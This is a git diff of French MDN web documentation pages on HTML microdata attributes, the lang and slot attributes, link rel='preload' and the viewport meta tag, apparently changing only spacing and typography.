-------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('HTML Microdata', "#dfn-attr-itemprop", "itemprop")}} | {{Spec2('HTML Microdata')}} | | -| {{SpecName('HTML WHATWG', "microdata.html#names:-the-itemprop-attribute", "itemprop")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML Microdata', "#dfn-attr-itemprop", "itemprop")}} | {{Spec2('HTML Microdata')}} | | +| {{SpecName('HTML WHATWG', "microdata.html#names:-the-itemprop-attribute", "itemprop")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/itemref/index.md b/files/fr/web/html/global_attributes/itemref/index.md index acea015ebe..d811b16eff 100644 --- a/files/fr/web/html/global_attributes/itemref/index.md +++ b/files/fr/web/html/global_attributes/itemref/index.md @@ -34,8 +34,8 @@ L'attribut `itemref` peut uniquement être défini sur des éléments pour lesqu <p id="a">Name: <span itemprop="name">Amanda</span> </p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> - <p>Band: <span itemprop="name">Jazz Band</span> </p> - <p>Size: <span itemprop="size">12</span> players</p> + <p>Band: <span itemprop="name">Jazz Band</span> </p> + <p>Size: <span itemprop="size">12</span> players</p> </div> ``` @@ -59,8 +59,8 @@ Au format [JSON-LD](https://json-ld.org/) : | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('HTML Microdata', "#dfn-itemref", "itemref")}} | {{Spec2('HTML Microdata')}} | | -| {{SpecName('HTML WHATWG', "microdata.html#attr-itemref", "itemref")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML Microdata', "#dfn-itemref", "itemref")}} | {{Spec2('HTML Microdata')}} | | +| {{SpecName('HTML WHATWG', "microdata.html#attr-itemref", "itemref")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/itemscope/index.md b/files/fr/web/html/global_attributes/itemscope/index.md index 8b7a7c7bc3..a4f61c8e89 100644 --- a/files/fr/web/html/global_attributes/itemscope/index.md +++ b/files/fr/web/html/global_attributes/itemscope/index.md @@ -189,8 +189,8 @@ Directions: <br> | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ------------------------------------ | ------------ | -| {{SpecName('HTML Microdata', "#dfn-itemscope", "itemscope")}} | {{Spec2('HTML Microdata')}} | | -| {{SpecName('HTML WHATWG', "microdata.html#attr-itemscope", "itemscope")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML Microdata', "#dfn-itemscope", "itemscope")}} | {{Spec2('HTML Microdata')}} | | +| {{SpecName('HTML WHATWG', "microdata.html#attr-itemscope", "itemscope")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/itemtype/index.md b/files/fr/web/html/global_attributes/itemtype/index.md index 4f00351717..4753e6241a 100644 --- a/files/fr/web/html/global_attributes/itemtype/index.md +++ b/files/fr/web/html/global_attributes/itemtype/index.md @@ -15,13 +15,13 @@ original_slug: Web/HTML/Attributs_universels/itemtype L'[attribut universel](/fr/docs/Web/HTML/Attributs_universels) **`itemtype`** définit l'URL du vocabulaire qui sera utilisé pour définir les propriétés des objets dans la structure de données. `itemscope` est utilisé afin de définir la portée, dans le document, où le vocabulaire défini sera actif. -L'attribut `itemtype` doit avoir une valeur qui est un ensemble non ordonné de fragments uniques, sensible à la casse. Chaque fragment doit être une URL absolue valide et tous les fragments participent à la définition du même vocabulaire. La valeur de l'attribut doit avoir au moins un fragment. +L'attribut `itemtype` doit avoir une valeur qui est un ensemble non ordonné de fragments uniques, sensible à la casse. Chaque fragment doit être une URL absolue valide et tous les fragments participent à la définition du même vocabulaire. La valeur de l'attribut doit avoir au moins un fragment. Les types d'objet doivent tous être définis dans des spécifications de vocabulaire (comme [schema.org](http://schema.org/)) et doivent tous être définis avec le même vocabulaire. L'attribut `itemtype` peut uniquement être défini pour les éléments qui ont un attribut `itemscope`. -Google et les autres moteurs de recherche participent au vocabulaire défini par [schema.org](http://schema.org/) pour structurer les données. Ce vocabulaire définit un ensemble standard de types et de noms de propriétés. Par exemple [`MusicEvent`](http://schema.org/MusicEvent) indique un événement musical dont les propriétés [`startDate`](http://schema.org/startDate) et [`location`](http://schema.org/location) utilisées pour définir les détails du concert. Dans ce cas, l'URL [`http://schema.org/MusicEvent`](http://schema.org/MusicEvent) sera l'URL utilisée pour l'attribut `itemtype` et les propriétés `startDate` et `location` seront les propriétés utilisées, définies par [`http://schema.org/MusicEvent`](http://schema.org/MusicEvent). +Google et les autres moteurs de recherche participent au vocabulaire défini par [schema.org](http://schema.org/) pour structurer les données. Ce vocabulaire définit un ensemble standard de types et de noms de propriétés. Par exemple [`MusicEvent`](http://schema.org/MusicEvent) indique un événement musical dont les propriétés [`startDate`](http://schema.org/startDate) et [`location`](http://schema.org/location) utilisées pour définir les détails du concert. Dans ce cas, l'URL [`http://schema.org/MusicEvent`](http://schema.org/MusicEvent) sera l'URL utilisée pour l'attribut `itemtype` et les propriétés `startDate` et `location` seront les propriétés utilisées, définies par [`http://schema.org/MusicEvent`](http://schema.org/MusicEvent). > **Note :** Vous pourrez trouver plus d'informations sur l'attribut itemtype sur <http://schema.org/Thing> @@ -72,8 +72,8 @@ Google et les autres moteurs de recherche participent au vocabulaire défini pa | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ------------------------------------ | ------------ | -| {{SpecName('HTML Microdata', "#dfn-itemtype", "itemtype")}} | {{Spec2('HTML Microdata')}} | | -| {{SpecName('HTML WHATWG', "microdata.html#attr-itemtype", "itemprop")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML Microdata', "#dfn-itemtype", "itemtype")}} | {{Spec2('HTML Microdata')}} | | +| {{SpecName('HTML WHATWG', "microdata.html#attr-itemtype", "itemprop")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/lang/index.md b/files/fr/web/html/global_attributes/lang/index.md index 1b3bfd1b3d..5f6bad8889 100644 --- a/files/fr/web/html/global_attributes/lang/index.md +++ b/files/fr/web/html/global_attributes/lang/index.md @@ -11,7 +11,7 @@ original_slug: Web/HTML/Attributs_universels/lang --- {{HTMLSidebar("Global_attributes")}} -L'[attribut universel](/fr/docs/Web/HTML/Attributs_universels) **`lang`** permet de définir la langue utilisée pour l'élément. Pour les éléments non-éditables, c'est la langue dans laquelle ils sont écrits. Pour les éléments éditables, c'est la langue dans laquelle devrait écrire l'utilisateur. La valeur de cet attribut est une « balise de langue » dont le format est défini par le document de l'IETF : [_Les balises d'identification de langues (BCP47)_](https://www.ietf.org/rfc/bcp/bcp47.txt). Si cette balise est la chaîne vide, la langue sera définie comme _inconnue_. Si la balise de langue n'est pas valide selon BCP47, la langue sera définie comme _invalide_. +L'[attribut universel](/fr/docs/Web/HTML/Attributs_universels) **`lang`** permet de définir la langue utilisée pour l'élément. Pour les éléments non-éditables, c'est la langue dans laquelle ils sont écrits. Pour les éléments éditables, c'est la langue dans laquelle devrait écrire l'utilisateur. La valeur de cet attribut est une « balise de langue » dont le format est défini par le document de l'IETF : [_Les balises d'identification de langues (BCP47)_](https://www.ietf.org/rfc/bcp/bcp47.txt). Si cette balise est la chaîne vide, la langue sera définie comme _inconnue_. Si la balise de langue n'est pas valide selon BCP47, la langue sera définie comme _invalide_. {{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}} @@ -32,7 +32,7 @@ Voici un aperçu de la syntaxe simplifiée. Une balise de langue est composées - Sous-balise régionale - : Ce fragment est optionnel. Il définit un dialecte de la langue de base pour une région donnée. Cette sous-balise est composée de deux lettres en majuscules pour indiquer un pays ou de trois chiffres pour une indiquer une région qui n'est pas un pays. Ainsi, `es-ES` représente l'espagnol parlé en Espagne et `es-013` représente l'espagnol parlé en Amérique centrale ; l'espagnol international serait simplement `es`. -La sous-balise de script doit précéder la sous-balise régionale si les deux sont présentes. Voici un exemple avec les trois fragments : `ru-Cyrl-BY` qui correspond au russe, écrit avec l'alphabet cyrillique, tel que parlé en Biélorussie. +La sous-balise de script doit précéder la sous-balise régionale si les deux sont présentes. Voici un exemple avec les trois fragments : `ru-Cyrl-BY` qui correspond au russe, écrit avec l'alphabet cyrillique, tel que parlé en Biélorussie. ## Spécifications diff --git a/files/fr/web/html/global_attributes/slot/index.md b/files/fr/web/html/global_attributes/slot/index.md index 94dda62360..e47146a5f4 100644 --- a/files/fr/web/html/global_attributes/slot/index.md +++ b/files/fr/web/html/global_attributes/slot/index.md @@ -19,8 +19,8 @@ Pour des exemples d'application, consulter le guide [Utiliser les modèles (_tem | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', "dom.html#attr-slot", "slot attribute")}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('DOM WHATWG', "#dom-element-slot", "slot attribute")}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('HTML WHATWG', "dom.html#attr-slot", "slot attribute")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('DOM WHATWG', "#dom-element-slot", "slot attribute")}} | {{Spec2('DOM WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/link_types/preload/index.md b/files/fr/web/html/link_types/preload/index.md index e53e9481e1..bc4c6fa0b9 100644 --- a/files/fr/web/html/link_types/preload/index.md +++ b/files/fr/web/html/link_types/preload/index.md @@ -10,18 +10,18 @@ La valeur `preload` de l'attribut {{htmlattrxref("rel", "link")}} de l'élément ## Les bases -Pour charger un fichier CSS permettant de styler une page, on utilise le plus souvent l'élément `<link>` de la manière suivante : +Pour charger un fichier CSS permettant de styler une page, on utilise le plus souvent l'élément `<link>` de la manière suivante : ```html <link rel="stylesheet" href="styles/main.css"> ``` -Ici, nous allons utiliser la valeur `preload` sur l'attribut `rel`, ce qui transformera l'élément `<link>` en outil de préchargement utilisable pour n'importe quelle ressource. Nous devrons aussi indiquer : +Ici, nous allons utiliser la valeur `preload` sur l'attribut `rel`, ce qui transformera l'élément `<link>` en outil de préchargement utilisable pour n'importe quelle ressource. Nous devrons aussi indiquer : -- le chemin de la ressource dans l'attribut {{htmlattrxref("href", "link")}} ; -- le type de ressource dans l'attribut {{htmlattrxref("as", "link")}} ; +- le chemin de la ressource dans l'attribut {{htmlattrxref("href", "link")}} ; +- le type de ressource dans l'attribut {{htmlattrxref("as", "link")}} ; -Voici un exemple simple (voir nos [fichiers JS et CSS d'exemple](https://github.com/mdn/html-examples/tree/master/link-rel-preload/js-and-css) et le [résultat obtenu](https://mdn.github.io/html-examples/link-rel-preload/js-and-css/)) : +Voici un exemple simple (voir nos [fichiers JS et CSS d'exemple](https://github.com/mdn/html-examples/tree/master/link-rel-preload/js-and-css) et le [résultat obtenu](https://mdn.github.io/html-examples/link-rel-preload/js-and-css/)) : ```html <head> @@ -42,34 +42,34 @@ Voici un exemple simple (voir nos [fichiers JS et CSS d'exemple](https://github. </body> ``` -Dans l'exemple ci-dessus, nous préchargeons nos fichiers CSS et JavaScript afin qu'ils puissent être disponibles dès qu'ils sont nécessaires pour le rendu de la page. Cet exemple est trivial, car le navigateur va probablement découvrir en même temps les balises de préchargement, le `<link rel="stylesheet">` et le `<script>`, mais le bénéfice sera bien plus visible si les ressources sont plus nombreuses, plus lourdes et chargées à différents endroits. Par exemple : +Dans l'exemple ci-dessus, nous préchargeons nos fichiers CSS et JavaScript afin qu'ils puissent être disponibles dès qu'ils sont nécessaires pour le rendu de la page. Cet exemple est trivial, car le navigateur va probablement découvrir en même temps les balises de préchargement, le `<link rel="stylesheet">` et le `<script>`, mais le bénéfice sera bien plus visible si les ressources sont plus nombreuses, plus lourdes et chargées à différents endroits. Par exemple : -- les ressources qui sont chargées depuis un fichier CSS, comme certaines polices et images ; -- les ressources inclues par des fichiers JavaScript, comme des fichiers JSON, d'autres scripts importés ou des services web ; +- les ressources qui sont chargées depuis un fichier CSS, comme certaines polices et images ; +- les ressources inclues par des fichiers JavaScript, comme des fichiers JSON, d'autres scripts importés ou des services web ; - les fichiers image et vidéos plus importants. -`preload` dispose aussi d'autres avantages. L'utilisation de l'attribut `as` pour spécifier le type de contenu à précharger permet au navigateur de : +`preload` dispose aussi d'autres avantages. L'utilisation de l'attribut `as` pour spécifier le type de contenu à précharger permet au navigateur de : -- prioriser les ressources se chargeant avec davantage de précision ; -- les stocker dans le cache pour de futures requêtes, ce qui permet de réutiliser les ressources si c'est pertinent ; -- appliquer la bonne [stratégie de sécurité du contenu](/fr/docs/Web/HTTP/CSP) aux ressources ; +- prioriser les ressources se chargeant avec davantage de précision ; +- les stocker dans le cache pour de futures requêtes, ce qui permet de réutiliser les ressources si c'est pertinent ; +- appliquer la bonne [stratégie de sécurité du contenu](/fr/docs/Web/HTTP/CSP) aux ressources ; - mettre en place les bons en-têtes de requêtes {{HTTPHeader("Accept")}} pour les ressources. -### Quels types de contenu peuvent être préchargés ? +### Quels types de contenu peuvent être préchargés ? -De nombreux différents types de contenu peuvent être préchargés. Les valeurs possibles de l'attribut `as` sont les suivantes : +De nombreux différents types de contenu peuvent être préchargés. Les valeurs possibles de l'attribut `as` sont les suivantes : -- `audio` : fichier audio, typiquement intégré avec l'élément {{htmlelement("audio")}} ; -- `document` : un document HTML destiné à être embarqué dans une {{htmlelement("frame")}} ou dans une {{htmlelement("iframe")}} ; -- `embed` : une ressource à embarquer dans un élément {{htmlelement("embed")}} ; -- `fetch` : une ressource accessible via une requête `fetch` ou `XHR`, comme un `ArrayBuffer` ou un fichier JSON ; -- `font` : un fichier de police ; -- `image` : un fichier image ; -- `object` : une ressource à embarquer à l'intérieur d'un élément {{htmlelement("object")}} ; -- `script` : un fichier JavaScript ; -- `style` : une feuille de styles CSS ; -- `track` : un fichier WebVTT ; -- `worker` : un +- `audio` : fichier audio, typiquement intégré avec l'élément {{htmlelement("audio")}} ; +- `document` : un document HTML destiné à être embarqué dans une {{htmlelement("frame")}} ou dans une {{htmlelement("iframe")}} ; +- `embed` : une ressource à embarquer dans un élément {{htmlelement("embed")}} ; +- `fetch` : une ressource accessible via une requête `fetch` ou `XHR`, comme un `ArrayBuffer` ou un fichier JSON ; +- `font` : un fichier de police ; +- `image` : un fichier image ; +- `object` : une ressource à embarquer à l'intérieur d'un élément {{htmlelement("object")}} ; +- `script` : un fichier JavaScript ; +- `style` : une feuille de styles CSS ; +- `track` : un fichier WebVTT ; +- `worker` : un <i lang="en">web worker</i> @@ -77,9 +77,9 @@ De nombreux différents types de contenu peuvent être préchargés. Les valeurs <i lang="en">worker</i> - partagé ; + partagé ; -- `video` : un fichier vidéo, typiquement intégré avec l'élément {{htmlelement("video")}}. +- `video` : un fichier vidéo, typiquement intégré avec l'élément {{htmlelement("video")}}. > **Note :** le préchargement de l'élément `video` est inclut dans la spécification <i lang="en">Preload</i> mais n'est pas encore implémenté par les navigateurs. @@ -89,7 +89,7 @@ De nombreux différents types de contenu peuvent être préchargés. Les valeurs Les éléments `<link>` peuvent accepter un attribut {{htmlattrxref("type", "link")}}, contenant le type MIME de la ressource vers laquelle pointe le document. Ceci est tout spécialement utile lorsque l'on effectue un préchargement des ressources – le navigateur utilisera alors l'attribut `type` pour vérifier s'il prend en charge la ressource et la télécharger si c'est le cas, ou l'ignorer dans le cas contraire. -Vous pouvez voir un exemple de ce fonctionnement dans notre vidéo d'exemple (voir le [code source complet](https://github.com/mdn/html-examples/tree/master/link-rel-preload/video) ou la [version exécutable en direct](https://mdn.github.io/html-examples/link-rel-preload/video/)), utilisant le bout de code proposé ci-dessous. À noter que si ce code ne lancera pas de préchargement effectif sur aucun navigateur – le préchargement des vidéos n'est encore implémenté sur aucun navigateur – cela permet d'illustrer le fonctionnement général du préchargement. +Vous pouvez voir un exemple de ce fonctionnement dans notre vidéo d'exemple (voir le [code source complet](https://github.com/mdn/html-examples/tree/master/link-rel-preload/video) ou la [version exécutable en direct](https://mdn.github.io/html-examples/link-rel-preload/video/)), utilisant le bout de code proposé ci-dessous. À noter que si ce code ne lancera pas de préchargement effectif sur aucun navigateur – le préchargement des vidéos n'est encore implémenté sur aucun navigateur – cela permet d'illustrer le fonctionnement général du préchargement. ```html <head> @@ -113,15 +113,15 @@ Concernant les personnes disposant d'un navigateur prenant en charge tout aussi En conclusion, il est déconseillé de précharger de multiple formats pour la même ressource. La bonne pratique est plutôt de précharger uniquement le type de média qu'utilise la majorité des personnes qui visitent votre site. C'est pourquoi le code fourni en exemple ne précharge pas la vidéo au format `video/webm`. -Cependant, l'absence de préchargement n'empêche pas la vidéo `video/webm` d'être utilisée par les personnes qui en ont besoin : pour les navigateurs qui ne prennent pas en charge le format `video/mp4` mais qui prennent en charge le format `video/webm` alors le code de l'exemple permettra toujours d'utiliser la vidéo au format `video/webm` — cela évitera simplement de précharger inutilement une ressource pour la plupart des navigateurs. +Cependant, l'absence de préchargement n'empêche pas la vidéo `video/webm` d'être utilisée par les personnes qui en ont besoin : pour les navigateurs qui ne prennent pas en charge le format `video/mp4` mais qui prennent en charge le format `video/webm` alors le code de l'exemple permettra toujours d'utiliser la vidéo au format `video/webm` — cela évitera simplement de précharger inutilement une ressource pour la plupart des navigateurs. ## Récupération de l'activation du <i lang="en">CORS</i> -Lors du préchargement des ressources analysées par des fonctions activant le [CORS](/fr/docs/Web/HTTP/CORS) (partage des ressources entre origines multiples), comme par exemple [`fetch()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch), [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) ou [fonts](/fr/docs/Web/CSS/@font-face)), une attention particulière doit être portée à la mise en place de l'attribut {{htmlattrxref("crossorigin","link")}} sur l'élément [`<link>`](/fr/docs/Web/HTML/Element/link). L'attribut à besoin d'être mis en place pour faire correspondre le <i lang="en">CORS</i> de la ressource et le mode d'identification, même s'il ne s'agit pas d'une ressource ayant une origine différente de celle de la page. +Lors du préchargement des ressources analysées par des fonctions activant le [CORS](/fr/docs/Web/HTTP/CORS) (partage des ressources entre origines multiples), comme par exemple [`fetch()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch), [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) ou [fonts](/fr/docs/Web/CSS/@font-face)), une attention particulière doit être portée à la mise en place de l'attribut {{htmlattrxref("crossorigin","link")}} sur l'élément [`<link>`](/fr/docs/Web/HTML/Element/link). L'attribut à besoin d'être mis en place pour faire correspondre le <i lang="en">CORS</i> de la ressource et le mode d'identification, même s'il ne s'agit pas d'une ressource ayant une origine différente de celle de la page. -Comme mentionné ci-dessus, un cas de figure intéressant est celui qui s'applique aux fichiers de polices. Pour plusieurs raisons, celles-ci doivent être analysées en utilisant le mode anonyme du <i lang="en">CORS</i> (voir cet article en anglais : [<i lang="en">Font fetching requirements</i>](https://drafts.csswg.org/css-fonts/#font-fetching-requirements)). +Comme mentionné ci-dessus, un cas de figure intéressant est celui qui s'applique aux fichiers de polices. Pour plusieurs raisons, celles-ci doivent être analysées en utilisant le mode anonyme du <i lang="en">CORS</i> (voir cet article en anglais : [<i lang="en">Font fetching requirements</i>](https://drafts.csswg.org/css-fonts/#font-fetching-requirements)). -Voici un cas d'utilisation. Vous trouverez [le code source complet sur GitHub](https://github.com/mdn/html-examples/tree/master/link-rel-preload/fonts) ainsi qu'une [démonstration](https://mdn.github.io/html-examples/link-rel-preload/fonts/) : +Voici un cas d'utilisation. Vous trouverez [le code source complet sur GitHub](https://github.com/mdn/html-examples/tree/master/link-rel-preload/fonts) ainsi qu'une [démonstration](https://mdn.github.io/html-examples/link-rel-preload/fonts/) : ```html <head> @@ -142,9 +142,9 @@ En plus de fournir un type MIME avec l'attribut `type`, ce code utilise un attri ## Inclure des médias -Une autre belle fonctionnalité de l'élément `<link>` concerne leur capacité à accepter les attributs {{htmlattrxref("media", "link")}}. Il peut accepter les requêtes de [types de médias](/fr/docs/Web/CSS/@media#media_types) ou encore des [<i lang="en">media queries</i>](/fr/docs/Web/CSS/Media_Queries/Using_media_queries) complètes, ce qui vous permet de faire du préchargement <i lang="en">responsive</i> ! +Une autre belle fonctionnalité de l'élément `<link>` concerne leur capacité à accepter les attributs {{htmlattrxref("media", "link")}}. Il peut accepter les requêtes de [types de médias](/fr/docs/Web/CSS/@media#media_types) ou encore des [<i lang="en">media queries</i>](/fr/docs/Web/CSS/Media_Queries/Using_media_queries) complètes, ce qui vous permet de faire du préchargement <i lang="en">responsive</i> ! -Voici un exemple. Vous pouvez consulter son [code source sur GitHub](https://github.com/mdn/html-examples/tree/master/link-rel-preload/media) ou étudier un [exemple de démonstration](https://mdn.github.io/html-examples/link-rel-preload/media/) : +Voici un exemple. Vous pouvez consulter son [code source sur GitHub](https://github.com/mdn/html-examples/tree/master/link-rel-preload/media) ou étudier un [exemple de démonstration](https://mdn.github.io/html-examples/link-rel-preload/media/) : ```html <head> @@ -176,13 +176,13 @@ Voici un exemple. Vous pouvez consulter son [code source sur GitHub](https://git Dans cet exemple nous incluons les attributs `media` dans notre élément `<link>` pour qu'une image plus fine soit préchargée si la personne visitant le site dispose d'un écran plus petit, et pour qu'une image plus large soit chargée sur les écrans plus larges. Pour cela, nous utilisons {{domxref("Window.matchMedia")}} et {{domxref("MediaQueryList")}} (consultez la page [Tester les requêtes média en JavaScript](/fr/docs/Web/CSS/Media_Queries/Testing_media_queries) pour en savoir plus). -Cela augmente les chances que la police sera disponible lors du rendu de la page, et diminue les risques de <i lang="en">FOUT</i> (pour <i lang="en">flash of unstyled text</i>, soit « flash de texte sans mis en forme » en français). +Cela augmente les chances que la police sera disponible lors du rendu de la page, et diminue les risques de <i lang="en">FOUT</i> (pour <i lang="en">flash of unstyled text</i>, soit « flash de texte sans mis en forme » en français). -Il sera dommage de limiter le préchargement aux images, voyez plus loin ! On pourrait imaginer de précharger l'affichage d'un diagramme SVG si le visiteur se trouve sur un petit écran avec une bande passante ou une disponibilité CPU plus limitée, ou encore de précharger des morceaux de JavaScript complexes utilisés pour faire fonctionner une modélisation 3D interactive uniquement si les ressources du visiteur sont suffisantes. +Il sera dommage de limiter le préchargement aux images, voyez plus loin ! On pourrait imaginer de précharger l'affichage d'un diagramme SVG si le visiteur se trouve sur un petit écran avec une bande passante ou une disponibilité CPU plus limitée, ou encore de précharger des morceaux de JavaScript complexes utilisés pour faire fonctionner une modélisation 3D interactive uniquement si les ressources du visiteur sont suffisantes. ## Scripts et préchargement -Une autre fonctionnalité notable est la possibilité d'exécuter le préchargement à l'aide d'un script. Par exemple, voici la création d'une instance {{domxref("HTMLLinkElement")}} qui est ensuite attachée au <i lang="en">DOM</i> : +Une autre fonctionnalité notable est la possibilité d'exécuter le préchargement à l'aide d'un script. Par exemple, voici la création d'une instance {{domxref("HTMLLinkElement")}} qui est ensuite attachée au <i lang="en">DOM</i> : ```js var preloadLink = document.createElement("link"); @@ -192,7 +192,7 @@ preloadLink.as = "script"; document.head.appendChild(preloadLink); ``` -Cela signifie que le navigateur va précharger le fichier `myscript.js`, mais ne va pas réellement l'utiliser directement. Pour l'utiliser, vous pouvez faire ceci : +Cela signifie que le navigateur va précharger le fichier `myscript.js`, mais ne va pas réellement l'utiliser directement. Pour l'utiliser, vous pouvez faire ceci : ```js var preloadedScript = document.createElement("script"); @@ -204,11 +204,11 @@ C'est utile lorsque vous voulez précharger un script mais repousser son exécut ## Autres ressources concernant les mécanismes de préchargement -D'autres fonctionnalités de préchargement sont disponibles, mais sachez qu'aucune d'entre elle n'est aussi adaptée à l'objectif recherché que `<link rel="preload">`. En voici la liste : +D'autres fonctionnalités de préchargement sont disponibles, mais sachez qu'aucune d'entre elle n'est aussi adaptée à l'objectif recherché que `<link rel="preload">`. En voici la liste : -- `<link rel="prefetch">` est pris en charge depuis quelque temps par les navigateurs, mais est destinée à la récupération préalable des ressources qui vont être utilisées lors de la **_prochaine_** page visitée/chargée (par exemple lorsque vous vous rendrez sur une autre page du site). C'est une bonne chose, mais ce n'est pas utile pour la page en cours de chargement ! Par ailleurs, les navigateurs donnent une priorité plus faible à `prefetch` qu'à `preload` — la page courante est prioritaire par rapport à la page suivante. Consultez la [FAQ sur le préchargement des liens](/fr/docs/Web/HTTP/Link_prefetching_FAQ) pour plus de détails ; -- `<link rel="prerender">` effectue le rendu une page spécifiée en arrière-plan, ce qui permet d'accélerer son chargement si la personne visitant le site se rend sur cette page par la suite. Du fait du gaspillage potentiel de bande passante pour les visiteurs (on charge des éléments sans savoir si on en aura besoin), Chrome traite l'instruction `prerender` comme une instruction [NoState prefetch](https://developers.google.com/web/updates/2018/07/nostate-prefetch) ; -- `<link rel="subresource">` {{non-standard_inline}} était pris en charge par Chrome il y a quelques temps et était destiné à gérer la même chose que `preload`, mais il y avait un problème : il n'y avait aucun moyen de définir une priorité sur les éléments à charger (`as` n'existait pas encore), donc toutes les ressources étaient chargées avec la même priorité (la plus faible) ; +- `<link rel="prefetch">` est pris en charge depuis quelque temps par les navigateurs, mais est destinée à la récupération préalable des ressources qui vont être utilisées lors de la **_prochaine_** page visitée/chargée (par exemple lorsque vous vous rendrez sur une autre page du site). C'est une bonne chose, mais ce n'est pas utile pour la page en cours de chargement ! Par ailleurs, les navigateurs donnent une priorité plus faible à `prefetch` qu'à `preload` — la page courante est prioritaire par rapport à la page suivante. Consultez la [FAQ sur le préchargement des liens](/fr/docs/Web/HTTP/Link_prefetching_FAQ) pour plus de détails ; +- `<link rel="prerender">` effectue le rendu une page spécifiée en arrière-plan, ce qui permet d'accélerer son chargement si la personne visitant le site se rend sur cette page par la suite. Du fait du gaspillage potentiel de bande passante pour les visiteurs (on charge des éléments sans savoir si on en aura besoin), Chrome traite l'instruction `prerender` comme une instruction [NoState prefetch](https://developers.google.com/web/updates/2018/07/nostate-prefetch) ; +- `<link rel="subresource">` {{non-standard_inline}} était pris en charge par Chrome il y a quelques temps et était destiné à gérer la même chose que `preload`, mais il y avait un problème : il n'y avait aucun moyen de définir une priorité sur les éléments à charger (`as` n'existait pas encore), donc toutes les ressources étaient chargées avec la même priorité (la plus faible) ; - Il y a un grand nombre de scripts de chargements de ressources disponibles un peu partout, mais aucun ne peut avoir la puissance d'une file de priorisation gérée directement par le navigateur. De plus, ces scripts sont sujets à des problèmes de performances similaires. ## Spécifications diff --git a/files/fr/web/html/viewport_meta_tag/index.md b/files/fr/web/html/viewport_meta_tag/index.md index db05d1c670..2462aa764c 100644 --- a/files/fr/web/html/viewport_meta_tag/index.md +++ b/files/fr/web/html/viewport_meta_tag/index.md @@ -22,7 +22,7 @@ En effet, de nombreuses pages ne sont pas optimisées pour les mobiles et ne fon Cependant, ce mécanisme n'est pas aussi bon pour les pages qui sont optimisées pour les écrans étroits à l'aide de [_media queries_](/fr/docs/Web/CSS/Media_Queries) - si le viewport virtuel est de 980px par exemple, les media queries qui se déclenchent à 640px, 480px ou moins ne seront jamais utilisées, ce qui limite l'efficacité de ces techniques de _responsive design_. -Pour atténuer ce problème de fenêtre virtuelle sur les appareils à écran étroit, Apple a introduit la « métabalise viewport » dans Safari iOS pour permettre à une page web de contrôler la taille et l'échelle de la fenêtre. De nombreux autres navigateurs mobiles prennent désormais en charge cette balise, bien qu'elle ne fasse partie d'aucune norme web. La [documentation](https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/UsingtheViewport/UsingtheViewport.html) (en) d'Apple explique bien comment utiliser cette balise, mais nous avons dû faire un travail de détective pour savoir exactement comment l'implémenter dans Fennec. Par exemple, la documentation de Safari indique que le contenu est une « liste délimitée par des virgules », mais les navigateurs et pages web existants utilisent n'importe quel mélange de virgules, points-virgules et espaces comme séparateurs. +Pour atténuer ce problème de fenêtre virtuelle sur les appareils à écran étroit, Apple a introduit la « métabalise viewport » dans Safari iOS pour permettre à une page web de contrôler la taille et l'échelle de la fenêtre. De nombreux autres navigateurs mobiles prennent désormais en charge cette balise, bien qu'elle ne fasse partie d'aucune norme web. La [documentation](https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/UsingtheViewport/UsingtheViewport.html) (en) d'Apple explique bien comment utiliser cette balise, mais nous avons dû faire un travail de détective pour savoir exactement comment l'implémenter dans Fennec. Par exemple, la documentation de Safari indique que le contenu est une « liste délimitée par des virgules », mais les navigateurs et pages web existants utilisent n'importe quel mélange de virgules, points-virgules et espaces comme séparateurs. Pour en savoir plus sur les fenêtres d'affichage dans les différents navigateurs mobiles, consultez [A Tale of Two Viewports](http://www.quirksmode.org/mobile/viewports2.html) sur quirksmode.org. @@ -64,7 +64,7 @@ Pour les pages qui définissent une échelle initiale ou maximale, cela signifie Les autres [attributs](/fr/docs/Web/HTML/Element/meta#attributes) disponibles sont `minimum-scale`, `maximum-scale` et `user-scalable`. Ces propriétés affectent l'échelle et la largeur initiales, ainsi que la limitation des changements de niveau de zoom. -Tous les navigateurs mobiles ne gèrent pas les changements d'orientation de la même manière. Par exemple, Mobile Safari se contente souvent de zoomer la page lors du passage du portrait au paysage, au lieu de la disposer comme elle le ferait si elle était initialement chargée en paysage. Si les développeurs et développeuses Web veulent que leurs paramètres d'échelle restent cohérents lors du changement d'orientation sur l'iPhone, ils/elles doivent ajouter une valeur `maximum-scale` pour empêcher ce zoom, ce qui a l'effet secondaire parfois indésirable d'empêcher les utilisateurs/utilisatrices de faire un zoom avant : +Tous les navigateurs mobiles ne gèrent pas les changements d'orientation de la même manière. Par exemple, Mobile Safari se contente souvent de zoomer la page lors du passage du portrait au paysage, au lieu de la disposer comme elle le ferait si elle était initialement chargée en paysage. Si les développeurs et développeuses Web veulent que leurs paramètres d'échelle restent cohérents lors du changement d'orientation 